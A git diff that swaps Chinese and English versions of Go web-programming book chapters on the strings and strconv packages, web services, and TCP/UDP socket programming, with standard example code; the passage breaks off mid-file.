- d, err := strconv.ParseUint("12345", 10, 64) - checkError(err) - e, err := strconv.Atoi("1023") - checkError(err) - fmt.Println(a, b, c, d, e) - } - - - -## links - * [目录]() - * 上一节: [文件操作](<07.5.md>) - * 下一节: [小结](<07.7.md>) +# 7.6 Strings + +On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the `strings` and `strconv` packages from the Go standard library. + +## strings + +The following functions are from the `strings` package. See the official documentation for more details: + +- func Contains(s, substr string) bool + + Check if string `s` contains string `substr`, returns a boolean value. + + fmt.Println(strings.Contains("seafood", "foo")) + fmt.Println(strings.Contains("seafood", "bar")) + fmt.Println(strings.Contains("seafood", "")) + fmt.Println(strings.Contains("", "")) + + //Output: + //true + //false + //true + //true + +- func Join(a []string, sep string) string + + Combine strings from slice with separator `sep`. + + s := []string{"foo", "bar", "baz"} + fmt.Println(strings.Join(s, ", ")) + //Output:foo, bar, baz + +- func Index(s, sep string) int + + Find index of `sep` in string `s`, returns -1 if it's not found. + + fmt.Println(strings.Index("chicken", "ken")) + fmt.Println(strings.Index("chicken", "dmr")) + //Output:4 + //-1 + +- func Repeat(s string, count int) string + + Repeat string `s` `count` times. + + fmt.Println("ba" + strings.Repeat("na", 2)) + //Output:banana + +- func Replace(s, old, new string, n int) string + + Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances. + + fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) + fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) + //Output:oinky oinky oink + //moo moo moo + +- func Split(s, sep string) []string + + Split string `s` with separator `sep` into a slice. + + fmt.Printf("%q\n", strings.Split("a,b,c", ",")) + fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) + fmt.Printf("%q\n", strings.Split(" xyz ", "")) + fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) + //Output:["a" "b" "c"] + //["" "man " "plan " "canal panama"] + //[" " "x" "y" "z" " "] + //[""] + +- func Trim(s string, cutset string) string + + Remove `cutset` of string `s` if it's leftmost or rightmost. + + fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) + Output:["Achtung"] + +- func Fields(s string) []string + + Remove space items and split string with space into a slice. + + fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) + //Output:Fields are: ["foo" "bar" "baz"] + + +## strconv + +The following functions are from the `strconv` package. As usual, please see official documentation for more details: + +- Append series, convert data to string, and append to current byte slice. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) + } + +- Format series, convert other data types into string. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) + } + +- Parse series, convert strings to other types. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a, err := strconv.ParseBool("false") + if err != nil { + fmt.Println(err) + } + b, err := strconv.ParseFloat("123.23", 64) + if err != nil { + fmt.Println(err) + } + c, err := strconv.ParseInt("1234", 10, 64) + if err != nil { + fmt.Println(err) + } + d, err := strconv.ParseUint("12345", 10, 64) + if err != nil { + fmt.Println(err) + } + e, err := strconv.Itoa("1023") + if err != nil { + fmt.Println(err) + } + fmt.Println(a, b, c, d, e) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Files](07.5.md) +- Next section: [Summary](07.7.md) diff --git a/en/eBook/07.6.md b/en/07.6.md~380a8ee74c41759d8189ad553423467994187253 similarity index 58% rename from en/eBook/07.6.md rename to en/07.6.md~380a8ee74c41759d8189ad553423467994187253 index 65068992..92e698ca 100644 --- a/en/eBook/07.6.md +++ b/en/07.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,20 +1,16 @@ -# 7.6 Strings - -On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the `strings` and `strconv` packages from the Go standard library. - -## strings - -The following functions are from the `strings` package. See the official documentation for more details: +# 7.6 字符串处理 +字符串在我们平常的Web开发中经常用到,包括用户的输入,数据库读取的数据等,我们经常需要对字符串进行分割、连接、转换等操作,本小节将通过Go标准库中的strings和strconv两个包中的函数来讲解如何进行有效快速的操作。 +## 字符串操作 +下面这些函数来自于strings包,这里介绍一些我平常经常用到的函数,更详细的请参考官方的文档。 - func Contains(s, substr string) bool - Check if string `s` contains string `substr`, returns a boolean value. + 字符串s中是否包含substr,返回bool值 fmt.Println(strings.Contains("seafood", "foo")) fmt.Println(strings.Contains("seafood", "bar")) fmt.Println(strings.Contains("seafood", "")) fmt.Println(strings.Contains("", "")) - //Output: //true //false @@ -23,7 +19,7 @@ The following functions are from the `strings` package. See the official documen - func Join(a []string, sep string) string - Combine strings from slice with separator `sep`. + 字符串链接,把slice a通过sep链接起来 s := []string{"foo", "bar", "baz"} fmt.Println(strings.Join(s, ", ")) @@ -31,7 +27,7 @@ The following functions are from the `strings` package. See the official documen - func Index(s, sep string) int - Find index of `sep` in string `s`, returns -1 if it's not found. + 在字符串s中查找sep所在的位置,返回位置值,找不到返回-1 fmt.Println(strings.Index("chicken", "ken")) fmt.Println(strings.Index("chicken", "dmr")) @@ -40,14 +36,14 @@ The following functions are from the `strings` package. See the official documen - func Repeat(s string, count int) string - Repeat string `s` `count` times. + 重复s字符串count次,最后返回重复的字符串 fmt.Println("ba" + strings.Repeat("na", 2)) //Output:banana - func Replace(s, old, new string, n int) string - Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances. + 在s字符串中,把old字符串替换为new字符串,n表示替换的次数,小于0表示全部替换 fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) @@ -56,7 +52,7 @@ The following functions are from the `strings` package. See the official documen - func Split(s, sep string) []string - Split string `s` with separator `sep` into a slice. + 把s字符串按照sep分割,返回slice fmt.Printf("%q\n", strings.Split("a,b,c", ",")) fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) @@ -69,24 +65,23 @@ The following functions are from the `strings` package. See the official documen - func Trim(s string, cutset string) string - Remove `cutset` of string `s` if it's leftmost or rightmost. + 在s字符串的头部和尾部去除cutset指定的字符串 fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) - Output:["Achtung"] + //Output:["Achtung"] - func Fields(s string) []string - Remove space items and split string with space into a slice. + 去除s字符串的空格符,并且按照空格分割返回slice fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) //Output:Fields are: ["foo" "bar" "baz"] -## strconv +## 字符串转换 +字符串转化的函数在strconv中,如下也只是列出一些常用的: -The following functions are from the `strconv` package. As usual, please see official documentation for more details: - -- Append series, convert data to string, and append to current byte slice. +- Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。 package main @@ -104,7 +99,7 @@ The following functions are from the `strconv` package. As usual, please see off fmt.Println(string(str)) } -- Format series, convert other data types into string. +- Format 系列函数把其他类型的转换为字符串 package main @@ -122,7 +117,7 @@ The following functions are from the `strconv` package. As usual, please see off fmt.Println(a, b, c, d, e) } -- Parse series, convert strings to other types. +- Parse 系列函数把字符串转换为其他类型 package main @@ -130,33 +125,28 @@ The following functions are from the `strconv` package. As usual, please see off "fmt" "strconv" ) - + func checkError(e error){ + if e != nil{ + fmt.Println(e) + } + } func main() { a, err := strconv.ParseBool("false") - if err != nil { - fmt.Println(err) - } + checkError(err) b, err := strconv.ParseFloat("123.23", 64) - if err != nil { - fmt.Println(err) - } + checkError(err) c, err := strconv.ParseInt("1234", 10, 64) - if err != nil { - fmt.Println(err) - } + checkError(err) d, err := strconv.ParseUint("12345", 10, 64) - if err != nil { - fmt.Println(err) - } - e, err := strconv.Itoa("1023") - if err != nil { - fmt.Println(err) - } + checkError(err) + e, err := strconv.Atoi("1023") + checkError(err) fmt.Println(a, b, c, d, e) } -## Links + -- [Directory](preface.md) -- Previous section: [Files](07.5.md) -- Next section: [Summary](07.7.md) +## links + * [目录]() + * 上一节: [文件操作](<07.5.md>) + * 下一节: [小结](<07.7.md>) diff --git a/en/07.7.md b/en/07.7.md index d1cbebba..7c56b019 100644 --- a/en/07.7.md +++ b/en/07.7.md @@ -1,7 +1,9 @@ -# 7.7 小结 -这一章给大家介绍了一些文本处理的工具,包括XML、JSON、正则和模板技术,XML和JSON是数据交互的工具,通过XML和JSON你可以表达各种含义,通过正则你可以处理文本(搜索、替换、截取),通过模板技术你可以展现这些数据给用户。这些都是你开发Web应用过程中需要用到的技术,通过这个小节的介绍你能够了解如何处理文本、展现文本。 - -## links - * [目录]() - * 上一节: [字符串处理](<07.6.md>) - * 下一节: [Web服务](<08.0.md>) +# 7.7 Summary + +In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developping web applications. I hope that you now have a better understanding of processing and showing content using Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Strings](07.6.md) +- Next chapter: [Web services](08.0.md) diff --git a/en/07.7.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.7.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..7763a615 --- /dev/null +++ b/en/07.7.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,7 @@ +# 7.7 小结 +这一章给大家介绍了一些文本处理的工具,包括XML、JSON、正则和模板技术,XML和JSON是数据交互的工具,通过XML和JSON你可以表达各种含义,通过正则你可以处理文本(搜索、替换、截取),通过模板技术你可以展现这些数据给用户。这些都是你开发Web应用过程中需要用到的技术,通过这个小节的介绍你能够了解如何处理文本、展现文本。 + +## links + * [目录]() + * 上一节: [字符串处理](<07.6.md>) + * 下一节: [Web服务](<08.0.md>) diff --git a/en/08.0.md b/en/08.0.md index b0bc1a91..dc040939 100644 --- a/en/08.0.md +++ b/en/08.0.md @@ -1,20 +1,18 @@ -# 8 Web服务 -Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息,你可以编写一段简短的代码,通过抓取这些信息然后通过标准的接口开放出来,就如同你调用一个本地函数并返回一个值。 - -Web服务背后的关键在于平台的无关性,你可以运行你的服务在Linux系统,可以与其他Windows的asp.net程序交互,同样的,也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。 - -目前主流的有如下几种Web服务:REST、SOAP。 - -REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。 - -SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。Go语言是以简单著称,所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错,开发起来很方便的RPC机制,我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。 - -Go语言是21世纪的C语言,我们追求的是性能、简单,所以我们在8.1小节里面介绍如何使用Socket编程,很多游戏服务都是采用Socket来编写服务端,因为HTTP协议相对而言比较耗费性能,让我们看看Go语言如何来Socket编程。目前随着HTML5的发展,webSockets也逐渐的成为很多页游公司接下来开发的一些手段,我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。 - -## 目录 - ![](images/navi8.png?raw=true) - -## links - * [目录]() - * 上一章: [第七章总结](<07.7.md>) - * 下一节: [Socket编程](<08.1.md>) +# 8 Web services + +Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value. + +The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on FreeBSD either. + +The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days: + +- REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in Go in section 8.3. +- SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4. + +Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 7 Summary](07.7.md) +- Next section: [Sockets](08.1.md) diff --git a/en/08.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..29cd7fb9 --- /dev/null +++ b/en/08.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,20 @@ +# 8 Web服务 +Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息,你可以编写一段简短的代码,通过抓取这些信息然后通过标准的接口开放出来,就如同你调用一个本地函数并返回一个值。 + +Web服务背后的关键在于平台的无关性,你可以运行你的服务在Linux系统,可以与其他Windows的asp.net程序交互,同样的,也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。 + +目前主流的有如下几种Web服务:REST、SOAP。 + +REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。 + +SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。Go语言是以简单著称,所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错,开发起来很方便的RPC机制,我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。 + +Go语言是21世纪的C语言,我们追求的是性能、简单,所以我们在8.1小节里面介绍如何使用Socket编程,很多游戏服务都是采用Socket来编写服务端,因为HTTP协议相对而言比较耗费性能,让我们看看Go语言如何来Socket编程。目前随着HTML5的发展,webSockets也逐渐的成为很多页游公司接下来开发的一些手段,我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。 + +## 目录 + ![](images/navi8.png?raw=true) + +## links + * [目录]() + * 上一章: [第七章总结](<07.7.md>) + * 下一节: [Socket编程](<08.1.md>) diff --git a/en/08.1.md b/en/08.1.md index fc9a9ea8..42bb6639 100644 --- a/en/08.1.md +++ b/en/08.1.md @@ -1,397 +1,411 @@ -# 8.1 Socket编程 -在很多底层网络应用开发者的眼里一切编程都是Socket,话虽然有点夸张,但却也几乎如此了,现在的网络编程几乎都是用Socket来编程。你想过这些情景么?我们每天打开浏览器浏览网页时,浏览器进程怎么和Web服务器进行通信的呢?当你用QQ聊天时,QQ进程怎么和服务器或者是你的好友所在的QQ进程进行通信的呢?当你打开PPstream观看视频时,PPstream进程如何与视频服务器进行通信的呢? 如此种种,都是靠Socket来进行通信的,以一斑窥全豹,可见Socket编程在现代编程中占据了多么重要的地位,这一节我们将介绍Go语言中如何进行Socket编程。 - -## 什么是Socket? -Socket起源于Unix,而Unix基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。Socket就是该模式的一个实现,网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用:Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。 - -常用的Socket类型有两种:流式Socket(SOCK_STREAM)和数据报式Socket(SOCK_DGRAM)。流式是一种面向连接的Socket,针对于面向连接的TCP服务应用;数据报式Socket是一种无连接的Socket,对应于无连接的UDP服务应用。 -## Socket如何通信 -网络中的进程之间如何通过Socket通信呢?首要解决的问题是如何唯一标识一个进程,否则通信无从谈起!在本地可以通过进程PID来唯一标识一个进程,但是在网络中这是行不通的。其实TCP/IP协议族已经帮我们解决了这个问题,网络层的“ip地址”可以唯一标识网络中的主机,而传输层的“协议+端口”可以唯一标识主机中的应用程序(进程)。这样利用三元组(ip地址,协议,端口)就可以标识网络的进程了,网络中需要互相通信的进程,就可以利用这个标志在他们之间进行交互。请看下面这个TCP/IP协议结构图 - -![](images/8.1.socket.png?raw=true) - -图8.1 七层网络协议图 - -使用TCP/IP协议的应用程序通常采用应用编程接口:UNIX BSD的套接字(socket)和UNIX System V的TLI(已经被淘汰),来实现网络进程之间的通信。就目前而言,几乎所有的应用程序都是采用socket,而现在又是网络时代,网络中进程通信是无处不在,这就是为什么说“一切皆Socket”。 - -## Socket基础知识 -通过上面的介绍我们知道Socket有两种:TCP Socket和UDP Socket,TCP和UDP是协议,而要确定一个进程的需要三元组,需要IP地址和端口。 - -### IPv4地址 -目前的全球因特网所采用的协议族是TCP/IP协议。IP是TCP/IP协议中网络层的协议,是TCP/IP协议族的核心协议。目前主要采用的IP协议的版本号是4(简称为IPv4),发展至今已经使用了30多年。 - -IPv4的地址位数为32位,也就是最多有2的32次方的网络设备可以联到Internet上。近十年来由于互联网的蓬勃发展,IP位址的需求量愈来愈大,使得IP位址的发放愈趋紧张,前一段时间,据报道IPV4的地址已经发放完毕,我们公司目前很多服务器的IP都是一个宝贵的资源。 - -地址格式类似这样:127.0.0.1 172.122.121.111 - -### IPv6地址 -IPv6是下一版本的互联网协议,也可以说是下一代互联网的协议,它是为了解决IPv4在实施过程中遇到的各种问题而被提出的,IPv6采用128位地址长度,几乎可以不受限制地提供地址。按保守方法估算IPv6实际可分配的地址,整个地球的每平方米面积上仍可分配1000多个地址。在IPv6的设计过程中除了一劳永逸地解决了地址短缺问题以外,还考虑了在IPv4中解决不好的其它问题,主要有端到端IP连接、服务质量(QoS)、安全性、多播、移动性、即插即用等。 - -地址格式类似这样:2002:c0e8:82e7:0:0:0:c0e8:82e7 - -### Go支持的IP类型 -在Go的`net`包中定义了很多类型、函数和方法用来网络编程,其中IP的定义如下: - - type IP []byte - -在`net`包中有很多函数来操作IP,但是其中比较有用的也就几个,其中`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型,请看下面的例子: - - package main - import ( - "net" - "os" - "fmt" - ) - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) - os.Exit(1) - } - name := os.Args[1] - addr := net.ParseIP(name) - if addr == nil { - fmt.Println("Invalid address") - } else { - fmt.Println("The address is ", addr.String()) - } - os.Exit(0) - } - -执行之后你就会发现只要你输入一个IP地址就会给出相应的IP格式 - -## TCP Socket -当我们知道如何通过网络端口访问一个服务时,那么我们能够做什么呢?作为客户端来说,我们可以通过向远端某台机器的的某个网络端口发送一个请求,然后得到在机器的此端口上监听的服务反馈的信息。作为服务端,我们需要把服务绑定到某个指定端口,并且在此端口上监听,当有客户端来访问时能够读取信息并且写入反馈信息。 - -在Go语言的`net`包中有一个类型`TCPConn`,这个类型可以用来作为客户端和服务器端交互的通道,他有两个主要的函数: - - func (c *TCPConn) Write(b []byte) (n int, err os.Error) - func (c *TCPConn) Read(b []byte) (n int, err os.Error) - -`TCPConn`可以用在客户端和服务器端来读写数据。 - -还有我们需要知道一个`TCPAddr`类型,他表示一个TCP的地址信息,他的定义如下: - - type TCPAddr struct { - IP IP - Port int - } -在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr` - - func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) - -- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only),TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个). -- addr表示域名或者IP地址,例如"www.google.com:80" 或者"127.0.0.1:22". - - -### TCP client -Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器段通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下: - - func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) - -- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个) -- laddr表示本机地址,一般设置为nil -- raddr表示远程的服务地址 - -接下来我们写一个简单的例子,模拟一个基于HTTP协议的客户端请求去连接一个Web服务端。我们要写一个简单的http请求头,格式类似如下: - - "HEAD / HTTP/1.0\r\n\r\n" - -从服务端接收到的响应信息格式可能如下: - - HTTP/1.0 200 OK - ETag: "-9985996" - Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT - Content-Length: 18074 - Connection: close - Date: Sat, 28 Aug 2010 00:43:48 GMT - Server: lighttpd/1.4.23 - -我们的客户端代码如下所示: - - package main - - import ( - "fmt" - "io/ioutil" - "net" - "os" - ) - - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - conn, err := net.DialTCP("tcp", nil, tcpAddr) - checkError(err) - _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) - checkError(err) - result, err := ioutil.ReadAll(conn) - checkError(err) - fmt.Println(string(result)) - os.Exit(0) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -通过上面的代码我们可以看出:首先程序将用户的输入作为参数`service`传入`net.ResolveTCPAddr`获取一个tcpAddr,然后把tcpAddr传入DialTCP后创建了一个TCP连接`conn`,通过`conn`来发送请求信息,最后通过`ioutil.ReadAll`从`conn`中读取全部的文本,也就是服务端响应反馈的信息。 - -### TCP server -上面我们编写了一个TCP的客户端程序,也可以通过net包来创建一个服务器端程序,在服务器端我们需要绑定服务到指定的非激活端口,并监听此端口,当有客户端请求到达的时候可以接收到来自客户端连接的请求。net包中有相应功能的函数,函数定义如下: - - func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) - func (l *TCPListener) Accept() (c Conn, err os.Error) - -参数说明同DialTCP的参数一样。下面我们实现一个简单的时间同步服务,监听7777端口 - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":7777" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - conn.Close() // we're finished with this client - } - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -上面的服务跑起来之后,它将会一直在那里等待,直到有新的客户端请求到达。当有新的客户端请求到达并同意接受`Accept`该请求的时候他会反馈当前的时间信息。值得注意的是,在代码中`for`循环里,当有错误发生时,直接continue而不是退出,是因为在服务器端跑代码的时候,当有错误发生的情况下最好是由服务端记录错误,然后当前连接的客户端直接报错而退出,从而不会影响到当前服务端运行的整个服务。 - -上面的代码有个缺点,执行的时候是单任务的,不能同时接收多个请求,那么该如何改造以使它支持多并发呢?Go里面有一个goroutine机制,请看下面改造后的代码 - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) - } - } - - func handleClient(conn net.Conn) { - defer conn.Close() - daytime := time.Now().String() - conn.Write([]byte(daytime)) // don't care about return value - // we're finished with this client - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -通过把业务处理分离到函数`handleClient`,我们就可以进一步地实现多并发执行了。看上去是不是很帅,增加`go`关键词就实现了服务端的多并发,从这个小例子也可以看出goroutine的强大之处。 - -有的朋友可能要问:这个服务端没有处理客户端实际请求的内容。如果我们需要通过从客户端发送不同的请求来获取不同的时间格式,而且需要一个长连接,该怎么做呢?请看: - - package main - - import ( - "fmt" - "net" - "os" - "time" - "strconv" - "strings" - ) - - func main() { - service := ":1200" - tcpAddr, err := net.ResolveTCPAddr("tcp4", service) - checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - go handleClient(conn) - } - } - - func handleClient(conn net.Conn) { - conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout - request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack - defer conn.Close() // close connection before exit - for { - read_len, err := conn.Read(request) - - if err != nil { - fmt.Println(err) - break - } - - if read_len == 0 { - break // connection already closed by client - } else if strings.TrimSpace(string(request[:read_len])) == "timestamp" { - daytime := strconv.FormatInt(time.Now().Unix(), 10) - conn.Write([]byte(daytime)) - } else { - daytime := time.Now().String() - conn.Write([]byte(daytime)) - } - - request = make([]byte, 128) // clear last read content - } - } - - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) - os.Exit(1) - } - } - -在上面这个例子中,我们使用`conn.Read()`不断读取客户端发来的请求。由于我们需要保持与客户端的长连接,所以不能在读取完一次请求后就关闭连接。由于`conn.SetReadDeadline()`设置了超时,当一定时间内客户端无请求发送,`conn`便会自动关闭,下面的for循环即会因为连接已关闭而跳出。需要注意的是,`request`在创建时需要指定一个最大长度以防止flood attack;每次读取到请求处理完毕后,需要清理request,因为`conn.Read()`会将新读取到的内容append到原内容之后。 - -### 控制TCP连接 -TCP有很多连接控制函数,我们平常用到比较多的有如下几个函数: - - func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) - -设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。 - - func (c *TCPConn) SetReadDeadline(t time.Time) error - func (c *TCPConn) SetWriteDeadline(t time.Time) error - -用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。 - - func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error - -设置客户端是否和服务器端保持长连接,可以降低建立TCP连接时的握手开销,对于一些需要频繁交换数据的应用场景比较适用。 - -更多的内容请查看`net`包的文档。 -## UDP Socket -Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样,只有TCP换成了UDP而已。UDP的几个主要函数如下所示: - - func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) - func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) - func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) - func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) - func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) - -一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已: - - package main - - import ( - "fmt" - "net" - "os" - ) - - func main() { - if len(os.Args) != 2 { - fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) - os.Exit(1) - } - service := os.Args[1] - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.DialUDP("udp", nil, udpAddr) - checkError(err) - _, err = conn.Write([]byte("anything")) - checkError(err) - var buf [512]byte - n, err := conn.Read(buf[0:]) - checkError(err) - fmt.Println(string(buf[0:n])) - os.Exit(0) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } - } - -我们来看一下UDP服务器端如何来处理: - - package main - - import ( - "fmt" - "net" - "os" - "time" - ) - - func main() { - service := ":1200" - udpAddr, err := net.ResolveUDPAddr("udp4", service) - checkError(err) - conn, err := net.ListenUDP("udp", udpAddr) - checkError(err) - for { - handleClient(conn) - } - } - func handleClient(conn *net.UDPConn) { - var buf [512]byte - _, addr, err := conn.ReadFromUDP(buf[0:]) - if err != nil { - return - } - daytime := time.Now().String() - conn.WriteToUDP([]byte(daytime), addr) - } - func checkError(err error) { - if err != nil { - fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) - os.Exit(1) - } - } - -## 总结 -通过对TCP和UDP Socket编程的描述和实现,可见Go已经完备地支持了Socket编程,而且使用起来相当的方便,Go提供了很多函数,通过这些函数可以很容易就编写出高性能的Socket应用。 - - -## links - * [目录]() - * 上一节: [Web服务](<08.0.md>) - * 